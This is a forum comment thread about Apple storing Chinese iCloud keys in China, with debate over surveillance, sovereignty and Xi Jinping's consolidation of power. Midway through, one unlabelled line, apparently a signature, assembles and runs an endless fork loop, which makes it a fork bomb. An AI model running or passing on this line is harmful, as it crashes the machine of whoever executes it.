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Apple Moves To Store iCloud Keys in China, Raising Human Rights Fears (reuters.com)
Apple will begin hosting Chinese users' iCloud accounts in a new Chinese data center at the end of this month to comply with new laws there. The move would give Chinese authorities far easier access to text messages, email and other data stored in the cloud. From a report: That's because of a change to how the company handles the cryptographic keys needed to unlock an iCloud account. Until now, such keys have always been stored in the United States, meaning that any government or law enforcement authority seeking access to a Chinese iCloud account needed to go through the U.S. legal system. Now, according to Apple , for the first time the company will store the keys for Chinese iCloud accounts in China itself. That means Chinese authorities will no longer have to use the U.S. courts to seek information on iCloud users and can instead use their own legal system to ask Apple to hand over iCloud data for Chinese users, legal experts said.
Do not store data you care about on someone else's computer.
That turns out to be the solution for a great many modern technology problems, including this one.
So Apple will have to follow the laws in the country they do business in, and that is surprising somehow? Shows how bad globalisation has become.
Your iCloud data is also encrypted with your passcode. This is why the FBI works so hard to unlock devices. Any âoehuman rights fearsâ are FUD.
Or, alternatively, how about "Keys for Chinese Accounts Moving to China - Easing Fears NSA Can Tap Communications"
Imagine this from their perspective. Keys for communications that are increasingly being used in official capacities have been held in a country that is antagonistic to you. A country with hugely funded security apparatus that has demonstrably and repeatedly used government sponsored back doors in computing equipment and undisclosed zero day vulnerabilities in operating systems to get access to your communications and industrial infrastructure.
I find it amusing that every time China takes a step in this direction the news outlets decry fears of human rights abuses. Like, say, Guantanamo Bay, the Collateral Murder, and every Snowden revelation have never happened. It's no surprise that China is creating rules to require cryptographic keys be held there. The surprise is that it took them this long.
President Xi Jinping is making himself President for Life by removing term limits from the state constitution and and writing the snappily named "Xi Jinping Thought on Socialism with Chinese Characteristics for a New Era" into the Party's one.
China has also cracked down on dissent very strongly since Xi's rise to power, under the cover of cracking down on corruption, something China is not short of. The collective leadership and term limits that were the norm after Mao and Deng is going away and the CCP is going back to full on dictatorship.
Which probably bodes poorly for places like Taiwan and Japan.
https://www.japantimes.co.jp/n...
At a Central Committee plenary session in January, party leaders decided on a plan to write Xi's guiding principle into the constitution at the National People's Congress scheduled for next month. Xi will also be formally elected to his second term at the annual meeting of the rubber-stamp parliament, which opens March 5.
The principle, entitled "Xi Jinping Thought on Socialism with Chinese Characteristics for a New Era," was added to the Communist Party's constitution last year.
The country's constitution was first adopted in 1982 and has not been amended since 2004. Speculation that Xi might seek to stay in office past his mandate has hit a fever pitch since he unveiled a new leadership line-up in October that didn't include a clear possible heir.
Xi, as the son of a famed Communist Party veteran, is known as a "princeling." He rose through the ranks to the position of Shanghai's party leader in 2007 before being promoted the same year to the all-powerful Politburo Standing Committee. A year later, in a sign that he would succeed then-leader Hu Jintao, he was tapped to be vice president.
Since his elevation to the presidency in 2012, Xi has overseen a wide-ranging crackdown on corruption that has helped him eliminate rivals and consolidate his grip on power.
As commander in chief of the Chinese People's Liberation Army, Xi has also been at the helm of a military modernization campaign that poured cash into the country's defense budgets while streamlining its forces.
He has also moved to shore up his legacy, last year taking on the mantle of "core" of the party leadership, elevating him above his predecessors to a position reminiscent of communist China's founder, Mao Zedong.
But at least one analyst said the announcement revealed weakness in the Communist Party's bid to maintain power.
"I interpret this piece of news as evidence that the CCP is weaker and more vulnerable than thought, not strong and stable," Lyle Morris, a China expert and senior analyst at the Rand Corp., wrote on Twitter in reference to the party. "A party that allows a leader through cult and power of personality to re-write the rules of succession is not a political party confident in itself."
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
Or Russia, or Israel, or Saudi Arabia, whatever other nutjob states are out there
Then again, when you like having somebody else decide for you what you should want and what to get to do so much, that you use a piece of Apple electronic jewelry, how much of an individual lifeform are you still? It'd be more realistic to call my mitochondria individuals.
That doesn’t mean they have no rights, of course. The body they are part of still has rights. In this case, this would be the swarm lifeform called Apple.
And if they decide that they want to put their dick inside the swarm lifeform called "people's" "republic" of China, or ’Murica, then that is their right as an individual lifeform.
Aaand now cue the downmods from people or other lifeforms who automatically assume I must hate them or look down on them ...
The move was announced months ago. "to comply with new laws there."
Apple could either play or go home, they decided to play.
sell out integrity for money. If you think apple will not use your data for PR purposes ( like the phone they said their could not help the FBI with ) or for money you are sadly mistaken.
Totally read that as, "Apple Moves To Store iCloud Keys in China, Raising iHuman Rights Fears."
China insists that the Chinese people using Apple iPhones have their iCloud data and keys in their own country.
The US insisting the same is OK, but the Chinese doing it is "bad"?
Can someone tell me that the US isn't doing the same thing on this side of the world? Isn't it the "right" of each country to have a say in their own citizens use and data, and to protect them and their national safety/interests without a foreign entity having more say, and/or control over their sovereign rights and citizens?
Or am I missing something here?
Isn't this why the US wants to outright ban the sale/use of Huawei phones out of fear that China has a back door into them, or some such?
I guess it's OK if "we" do it to "them", just not the other way around...
If you allow your (non-public) keys to be placed on someone else's computer, you've already lost.
Does the color (Red/White/Blue, or just Red) of the flag sticker on that computer really matter?
"such keys have always been stored in the United States, meaning that any government or law enforcement authority seeking access to a Chinese iCloud account needed to go through the U.S. legal system"
So this particular bit of ridiculous bullshit will no longer apply. It makes sense given that the "U.S. legal system" has literally zero jurisdiction over anything that goes on in China. The US can persecute their own dissidents and so can China.